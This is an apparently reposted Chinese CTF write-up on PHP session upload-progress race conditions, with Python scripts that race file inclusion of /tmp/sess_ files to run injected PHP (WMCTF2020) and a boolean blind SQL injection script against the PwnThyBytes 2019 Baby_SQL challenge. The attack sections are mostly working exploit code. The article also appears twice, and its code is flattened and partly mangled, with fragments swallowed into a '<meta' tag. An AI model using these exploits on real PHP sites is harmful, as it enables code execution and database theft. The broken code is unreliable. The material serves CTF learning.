PHP会话条件竞争如何深入分析和解决?

2026-04-05 14:351阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1077个文字,预计阅读时间需要5分钟。

PHP会话条件竞争如何深入分析和解决?

PHP+SESSION的存储方式PHP将session以文件形式存储在服务器上,通过session.save_path来控制存储路径。默认路径为/var/lib/php/sess_PHPSESSID、/var/lib/php/sessions/sess_PHPSESSID、/tmp/sess_PHPSESSID、/tmp/s。

PHP SESSION 的存储

Session会话存储方式

PHP将session以文件的形式存储服务器的文件中,session.save_path来控制

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段

但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

使用 Python 实现创建 Session 文件的过程:

import io import requests import threading sessid = 'whoami' def POST(session): f = io.BytesIO(b'a' * 1024 * 50) session.post( '192.168.43.82/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用来改变session中的值 files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} //用来sesssion中的文件名 sess_whoami ) with requests.session() as session: while True: POST(session) print("[+] 成功写入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }

这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过

/proc/self指向当前进程的/proc/pid/

/proc/self/root/是指向/的符号链接

这道题也可以 用条件竞争进行,

import io import sys import requests import threading host = '6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/' sessid = 'feng' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( host, data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"}, "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值 files={ "file":('a.txt', f)}, cookies={ 'PHPSESSID':sessid}//改名 ) def READ(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径 # print(response.text) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5 print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程 t1.daemon = True //相当完成任务直接结束,不用等线程全部结束 t1.start() READ(session)

线程结束后,想在网页获得php坏境页面可是找不到,

希望有师傅解答一下,然后这样就非常局限,

[PwnThyBytes 2019]Baby_SQL

访问源码,获得source.zip

打开后发现index.php

<?php session_start(); foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value) { !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php'); isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php'); isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php'); ?>

都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件

login.php

<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php" //这个templates是因为login.php在这个目录下面 files = {"file": "123456789"} a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'}, proxies={'127.0.0.1:8080"})通过这个接口,burp就可以抓包到 print(a.text)

然后对username进行注入,发现是用"进行闭合,然后回显,可以用盲注实现

<meta d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php" files = {"file": "123456789"} flag='' for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high): time.sleep(0.06) #payload_flag ={'username': "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: low = mid +1 else: high = mid mid = (low + high) // 2 if(mid==32 ): break flag +=chr(mid) print(flag) print(flag)

到此这篇关于PHP Session条件竞争超详细讲解的文章就介绍到这了,更多相关PHP Session内容请搜索自由互联以前的文章或继续浏览下面的相关文章希望大家以后多多支持自由互联!

PHP会话条件竞争如何深入分析和解决?

本文共计1077个文字,预计阅读时间需要5分钟。

PHP会话条件竞争如何深入分析和解决?

PHP+SESSION的存储方式PHP将session以文件形式存储在服务器上,通过session.save_path来控制存储路径。默认路径为/var/lib/php/sess_PHPSESSID、/var/lib/php/sessions/sess_PHPSESSID、/tmp/sess_PHPSESSID、/tmp/s。

PHP SESSION 的存储

Session会话存储方式

PHP将session以文件的形式存储服务器的文件中,session.save_path来控制

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段

但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

使用 Python 实现创建 Session 文件的过程:

import io import requests import threading sessid = 'whoami' def POST(session): f = io.BytesIO(b'a' * 1024 * 50) session.post( '192.168.43.82/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用来改变session中的值 files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} //用来sesssion中的文件名 sess_whoami ) with requests.session() as session: while True: POST(session) print("[+] 成功写入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }

这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过

/proc/self指向当前进程的/proc/pid/

/proc/self/root/是指向/的符号链接

这道题也可以 用条件竞争进行,

import io import sys import requests import threading host = '6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/' sessid = 'feng' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( host, data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"}, "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值 files={ "file":('a.txt', f)}, cookies={ 'PHPSESSID':sessid}//改名 ) def READ(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径 # print(response.text) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5 print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程 t1.daemon = True //相当完成任务直接结束,不用等线程全部结束 t1.start() READ(session)

线程结束后,想在网页获得php坏境页面可是找不到,

希望有师傅解答一下,然后这样就非常局限,

[PwnThyBytes 2019]Baby_SQL

访问源码,获得source.zip

打开后发现index.php

<?php session_start(); foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value) { !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php'); isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php'); isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php'); ?>

都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件

login.php

<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php" //这个templates是因为login.php在这个目录下面 files = {"file": "123456789"} a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'}, proxies={'127.0.0.1:8080"})通过这个接口,burp就可以抓包到 print(a.text)

然后对username进行注入,发现是用"进行闭合,然后回显,可以用盲注实现

<meta d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php" files = {"file": "123456789"} flag='' for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high): time.sleep(0.06) #payload_flag ={'username': "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: low = mid +1 else: high = mid mid = (low + high) // 2 if(mid==32 ): break flag +=chr(mid) print(flag) print(flag)

到此这篇关于PHP Session条件竞争超详细讲解的文章就介绍到这了,更多相关PHP Session内容请搜索自由互联以前的文章或继续浏览下面的相关文章希望大家以后多多支持自由互联!

PHP会话条件竞争如何深入分析和解决?